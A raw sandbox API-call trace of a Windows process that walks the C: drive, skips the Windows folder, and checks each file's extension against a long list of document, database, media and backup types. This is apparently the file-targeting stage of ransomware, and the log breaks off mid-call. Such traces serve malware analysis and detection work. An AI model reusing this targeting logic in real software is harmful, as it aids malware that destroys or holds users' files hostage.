[0261.096] lstrlenW (lpString=".accda") returned 6 [0261.096] lstrcmpiW (lpString1=".accda", lpString2="ary-ms") returned -1 [0261.096] lstrlenW (lpString=".accdb") returned 6 [0261.096] lstrcmpiW (lpString1=".accdb", lpString2="ary-ms") returned -1 [0261.096] lstrlenW (lpString=".accdc") returned 6 [0261.096] lstrcmpiW (lpString1=".accdc", lpString2="ary-ms") returned -1 [0261.096] lstrlenW (lpString=".accde") returned 6 [0261.096] lstrcmpiW (lpString1=".accde", lpString2="ary-ms") returned -1 [0261.097] lstrlenW (lpString=".accdt") returned 6 [0261.097] lstrcmpiW (lpString1=".accdt", lpString2="ary-ms") returned -1 [0261.097] lstrlenW (lpString=".accdw") returned 6 [0261.097] lstrcmpiW (lpString1=".accdw", lpString2="ary-ms") returned -1 [0261.097] lstrlenW (lpString=".adb") returned 4 [0261.097] lstrcmpiW (lpString1=".adb", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".adp") returned 4 [0261.097] lstrcmpiW (lpString1=".adp", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai") returned 3 [0261.097] lstrcmpiW (lpString1=".ai", lpString2="-ms") returned -1 [0261.097] lstrlenW (lpString=".ai3") returned 4 [0261.097] lstrcmpiW (lpString1=".ai3", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai4") returned 4 [0261.097] lstrcmpiW (lpString1=".ai4", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai5") returned 4 [0261.097] lstrcmpiW (lpString1=".ai5", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai6") returned 4 [0261.097] lstrcmpiW (lpString1=".ai6", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai7") returned 4 [0261.097] lstrcmpiW (lpString1=".ai7", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ai8") returned 4 [0261.097] lstrcmpiW (lpString1=".ai8", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".anim") returned 5 [0261.097] lstrcmpiW (lpString1=".anim", lpString2="ry-ms") returned -1 [0261.097] lstrlenW (lpString=".arw") returned 4 [0261.097] lstrcmpiW (lpString1=".arw", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".as") returned 3 [0261.097] lstrcmpiW (lpString1=".as", lpString2="-ms") returned -1 [0261.097] lstrlenW (lpString=".asa") returned 4 [0261.097] lstrcmpiW (lpString1=".asa", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".asc") returned 4 [0261.097] lstrcmpiW (lpString1=".asc", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".ascx") returned 5 [0261.097] lstrcmpiW (lpString1=".ascx", lpString2="ry-ms") returned -1 [0261.097] lstrlenW (lpString=".asm") returned 4 [0261.097] lstrcmpiW (lpString1=".asm", lpString2="y-ms") returned -1 [0261.097] lstrlenW (lpString=".asmx") returned 5 [0261.097] lstrcmpiW (lpString1=".asmx", lpString2="ry-ms") returned -1 [0261.098] lstrlenW (lpString=".asp") returned 4 [0261.098] lstrcmpiW (lpString1=".asp", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".aspx") returned 5 [0261.098] lstrcmpiW (lpString1=".aspx", lpString2="ry-ms") returned -1 [0261.098] lstrlenW (lpString=".asr") returned 4 [0261.098] lstrcmpiW (lpString1=".asr", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".asx") returned 4 [0261.098] lstrcmpiW (lpString1=".asx", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".avi") returned 4 [0261.098] lstrcmpiW (lpString1=".avi", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".avs") returned 4 [0261.098] lstrcmpiW (lpString1=".avs", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".backup") returned 7 [0261.098] lstrcmpiW (lpString1=".backup", lpString2="rary-ms") returned -1 [0261.098] lstrlenW (lpString=".bak") returned 4 [0261.098] lstrcmpiW (lpString1=".bak", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".bay") returned 4 [0261.098] lstrcmpiW (lpString1=".bay", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".bd") returned 3 [0261.098] lstrcmpiW (lpString1=".bd", lpString2="-ms") returned -1 [0261.098] lstrlenW (lpString=".bin") returned 4 [0261.098] lstrcmpiW (lpString1=".bin", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".bmp") returned 4 [0261.098] lstrcmpiW (lpString1=".bmp", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".bz2") returned 4 [0261.098] lstrcmpiW (lpString1=".bz2", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".c") returned 2 [0261.098] lstrcmpiW (lpString1=".c", lpString2="ms") returned -1 [0261.098] lstrlenW (lpString=".cdr") returned 4 [0261.098] lstrcmpiW (lpString1=".cdr", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".cer") returned 4 [0261.098] lstrcmpiW (lpString1=".cer", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".cf") returned 3 [0261.098] lstrcmpiW (lpString1=".cf", lpString2="-ms") returned -1 [0261.098] lstrlenW (lpString=".cfc") returned 4 [0261.098] lstrcmpiW (lpString1=".cfc", lpString2="y-ms") returned -1 [0261.098] lstrlenW (lpString=".cfm") returned 4 [0261.099] lstrcmpiW (lpString1=".cfm", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".cfml") returned 5 [0261.099] lstrcmpiW (lpString1=".cfml", lpString2="ry-ms") returned -1 [0261.099] lstrlenW (lpString=".cfu") returned 4 [0261.099] lstrcmpiW (lpString1=".cfu", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".chm") returned 4 [0261.099] lstrcmpiW (lpString1=".chm", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".cin") returned 4 [0261.099] lstrcmpiW (lpString1=".cin", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".class") returned 6 [0261.099] lstrcmpiW (lpString1=".class", lpString2="ary-ms") returned -1 [0261.099] lstrlenW (lpString=".clx") returned 4 [0261.099] lstrcmpiW (lpString1=".clx", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".config") returned 7 [0261.099] lstrcmpiW (lpString1=".config", lpString2="rary-ms") returned -1 [0261.099] lstrlenW (lpString=".cpp") returned 4 [0261.099] lstrcmpiW (lpString1=".cpp", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".cr2") returned 4 [0261.099] lstrcmpiW (lpString1=".cr2", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".crt") returned 4 [0261.099] lstrcmpiW (lpString1=".crt", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".crw") returned 4 [0261.099] lstrcmpiW (lpString1=".crw", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".cs") returned 3 [0261.099] lstrcmpiW (lpString1=".cs", lpString2="-ms") returned -1 [0261.099] lstrlenW (lpString=".css") returned 4 [0261.099] lstrcmpiW (lpString1=".css", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".csv") returned 4 [0261.099] lstrcmpiW (lpString1=".csv", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".cub") returned 4 [0261.099] lstrcmpiW (lpString1=".cub", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".dae") returned 4 [0261.099] lstrcmpiW (lpString1=".dae", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".dat") returned 4 [0261.099] lstrcmpiW (lpString1=".dat", lpString2="y-ms") returned -1 [0261.099] lstrlenW (lpString=".db") returned 3 [0261.099] lstrcmpiW (lpString1=".db", lpString2="-ms") returned -1 [0261.099] lstrlenW (lpString=".dbf") returned 4 [0261.100] lstrcmpiW (lpString1=".dbf", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dbx") returned 4 [0261.100] lstrcmpiW (lpString1=".dbx", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dc3") returned 4 [0261.100] lstrcmpiW (lpString1=".dc3", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dcm") returned 4 [0261.100] lstrcmpiW (lpString1=".dcm", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dcr") returned 4 [0261.100] lstrcmpiW (lpString1=".dcr", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".der") returned 4 [0261.100] lstrcmpiW (lpString1=".der", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dib") returned 4 [0261.100] lstrcmpiW (lpString1=".dib", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dic") returned 4 [0261.100] lstrcmpiW (lpString1=".dic", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dif") returned 4 [0261.100] lstrcmpiW (lpString1=".dif", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".divx") returned 5 [0261.100] lstrcmpiW (lpString1=".divx", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".djvu") returned 5 [0261.100] lstrcmpiW (lpString1=".djvu", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".dng") returned 4 [0261.100] lstrcmpiW (lpString1=".dng", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".doc") returned 4 [0261.100] lstrcmpiW (lpString1=".doc", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".docm") returned 5 [0261.100] lstrcmpiW (lpString1=".docm", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".docx") returned 5 [0261.100] lstrcmpiW (lpString1=".docx", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".dot") returned 4 [0261.100] lstrcmpiW (lpString1=".dot", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dotm") returned 5 [0261.100] lstrcmpiW (lpString1=".dotm", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".dotx") returned 5 [0261.100] lstrcmpiW (lpString1=".dotx", lpString2="ry-ms") returned -1 [0261.100] lstrlenW (lpString=".dpx") returned 4 [0261.100] lstrcmpiW (lpString1=".dpx", lpString2="y-ms") returned -1 [0261.100] lstrlenW (lpString=".dqy") returned 4 [0261.101] lstrcmpiW (lpString1=".dqy", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".dsn") returned 4 [0261.101] lstrcmpiW (lpString1=".dsn", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".dt") returned 3 [0261.101] lstrcmpiW (lpString1=".dt", lpString2="-ms") returned -1 [0261.101] lstrlenW (lpString=".dtd") returned 4 [0261.101] lstrcmpiW (lpString1=".dtd", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".dwg") returned 4 [0261.101] lstrcmpiW (lpString1=".dwg", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".dwt") returned 4 [0261.101] lstrcmpiW (lpString1=".dwt", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".dx") returned 3 [0261.101] lstrcmpiW (lpString1=".dx", lpString2="-ms") returned -1 [0261.101] lstrlenW (lpString=".dxf") returned 4 [0261.101] lstrcmpiW (lpString1=".dxf", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".edml") returned 5 [0261.101] lstrcmpiW (lpString1=".edml", lpString2="ry-ms") returned -1 [0261.101] lstrlenW (lpString=".efd") returned 4 [0261.101] lstrcmpiW (lpString1=".efd", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".elf") returned 4 [0261.101] lstrcmpiW (lpString1=".elf", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".emf") returned 4 [0261.101] lstrcmpiW (lpString1=".emf", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".emz") returned 4 [0261.101] lstrcmpiW (lpString1=".emz", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".epf") returned 4 [0261.101] lstrcmpiW (lpString1=".epf", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".eps") returned 4 [0261.101] lstrcmpiW (lpString1=".eps", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".epsf") returned 5 [0261.101] lstrcmpiW (lpString1=".epsf", lpString2="ry-ms") returned -1 [0261.101] lstrlenW (lpString=".epsp") returned 5 [0261.101] lstrcmpiW (lpString1=".epsp", lpString2="ry-ms") returned -1 [0261.101] lstrlenW (lpString=".erf") returned 4 [0261.101] lstrcmpiW (lpString1=".erf", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".exr") returned 4 [0261.101] lstrcmpiW (lpString1=".exr", lpString2="y-ms") returned -1 [0261.101] lstrlenW (lpString=".f4v") returned 4 [0261.102] lstrcmpiW (lpString1=".f4v", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".fido") returned 5 [0261.102] lstrcmpiW (lpString1=".fido", lpString2="ry-ms") returned -1 [0261.102] lstrlenW (lpString=".flm") returned 4 [0261.102] lstrcmpiW (lpString1=".flm", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".flv") returned 4 [0261.102] lstrcmpiW (lpString1=".flv", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".frm") returned 4 [0261.102] lstrcmpiW (lpString1=".frm", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".fxg") returned 4 [0261.102] lstrcmpiW (lpString1=".fxg", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".geo") returned 4 [0261.102] lstrcmpiW (lpString1=".geo", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".gif") returned 4 [0261.102] lstrcmpiW (lpString1=".gif", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".grs") returned 4 [0261.102] lstrcmpiW (lpString1=".grs", lpString2="y-ms") returned -1 [0261.102] lstrlenW (lpString=".gz") returned 3 [0261.105] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.105] FindNextFileW (in: hFindFile=0x3af19a0, lpFindFileData=0x369f58c | out: lpFindFileData=0x369f58c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 Thread: id = 81 os_tid = 0x648 [0235.862] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x3ae00b8 [0235.862] lstrlenW (lpString="C:") returned 2 [0235.862] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x37dfd00 | out: lpFindFileData=0x37dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5a2e10 [0235.862] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0235.862] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0235.862] lstrlenW (lpString="$Recycle.Bin") returned 12 [0235.863] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0235.863] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x41f0048 [0235.863] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0235.863] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x37dfa84 | out: lpFindFileData=0x37dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2e50 [0235.863] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x37dfa84 | out: lpFindFileData=0x37dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.863] FindNextFileW (in: hFindFile=0x5a2e50, lpFindFileData=0x37dfa84 | out: lpFindFileData=0x37dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0235.863] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0235.864] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0235.864] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0235.864] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0235.864] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfffe) returned 0x4201058 [0235.864] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0235.864] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x625f60 [0235.864] FindNextFileW (in: hFindFile=0x625f60, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.864] FindNextFileW (in: hFindFile=0x625f60, lpFindFileData=0x37df808 | out: lpFindFileData=0x37df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xbecabb40, ftCreationTime.dwHighDateTime=0x1d54a09, ftLastAccessTime.dwLowDateTime=0xbecabb40, ftLastAccessTime.dwHighDateTime=0x1d54a09, ftLastWriteTime.dwLowDateTime=0xbecabb40, ftLastWriteTime.dwHighDateTime=0x1d54a09, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0235.864] lstrlenW (lpString="desktop.ini") returned 11 [0235.864] lstrlenW (lpString=".1cd") returned 4 [0235.864] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0235.864] lstrlenW (lpString=".3ds") returned 4 [0235.864] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0235.864] lstrlenW (lpString=".3fr") returned 4 [0235.864] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0235.864] lstrlenW (lpString=".3g2") returned 4 [0235.864] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0235.864] lstrlenW (lpString=".3gp") returned 4 [0235.864] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0235.864] lstrlenW (lpString=".7z") returned 3 [0235.864] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0235.864] lstrlenW (lpString=".accda") returned 6 [0235.865] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".accdb") returned 6 [0235.865] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".accdc") returned 6 [0235.865] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".accde") returned 6 [0235.865] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".accdt") returned 6 [0235.865] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".accdw") returned 6 [0235.865] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0235.865] lstrlenW (lpString=".adb") returned 4 [0235.865] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".adp") returned 4 [0235.865] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai") returned 3 [0235.865] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0235.865] lstrlenW (lpString=".ai3") returned 4 [0235.865] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai4") returned 4 [0235.865] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai5") returned 4 [0235.865] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai6") returned 4 [0235.865] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai7") returned 4 [0235.865] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".ai8") returned 4 [0235.865] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".anim") returned 5 [0235.865] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0235.865] lstrlenW (lpString=".arw") returned 4 [0235.865] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".as") returned 3 [0235.865] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0235.865] lstrlenW (lpString=".asa") returned 4 [0235.865] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0235.865] lstrlenW (lpString=".asc") returned 4 [0235.865] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".ascx") returned 5 [0235.866] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0235.866] lstrlenW (lpString=".asm") returned 4 [0235.866] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".asmx") returned 5 [0235.866] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0235.866] lstrlenW (lpString=".asp") returned 4 [0235.866] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".aspx") returned 5 [0235.866] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0235.866] lstrlenW (lpString=".asr") returned 4 [0235.866] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".asx") returned 4 [0235.866] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".avi") returned 4 [0235.866] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".avs") returned 4 [0235.866] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".backup") returned 7 [0235.866] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0235.866] lstrlenW (lpString=".bak") returned 4 [0235.866] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".bay") returned 4 [0235.866] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".bd") returned 3 [0235.866] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0235.866] lstrlenW (lpString=".bin") returned 4 [0235.866] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".bmp") returned 4 [0235.866] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".bz2") returned 4 [0235.866] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".c") returned 2 [0235.866] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0235.866] lstrlenW (lpString=".cdr") returned 4 [0235.866] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0235.866] lstrlenW (lpString=".cer") returned 4 [0235.866] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cf") returned 3 [0235.867] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0235.867] lstrlenW (lpString=".cfc") returned 4 [0235.867] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cfm") returned 4 [0235.867] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cfml") returned 5 [0235.867] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0235.867] lstrlenW (lpString=".cfu") returned 4 [0235.867] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".chm") returned 4 [0235.867] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cin") returned 4 [0235.867] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".class") returned 6 [0235.867] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0235.867] lstrlenW (lpString=".clx") returned 4 [0235.867] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".config") returned 7 [0235.867] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0235.867] lstrlenW (lpString=".cpp") returned 4 [0235.867] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cr2") returned 4 [0235.867] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".crt") returned 4 [0235.867] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".crw") returned 4 [0235.867] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cs") returned 3 [0235.867] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0235.867] lstrlenW (lpString=".css") returned 4 [0235.867] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".csv") returned 4 [0235.867] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".cub") returned 4 [0235.867] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".dae") returned 4 [0235.867] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0235.867] lstrlenW (lpString=".dat") returned 4 [0235.868] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0235.868] lstrlenW (lpString=".db") returned 3 [0235.868] lstrcmpiW (lpString1=".db", 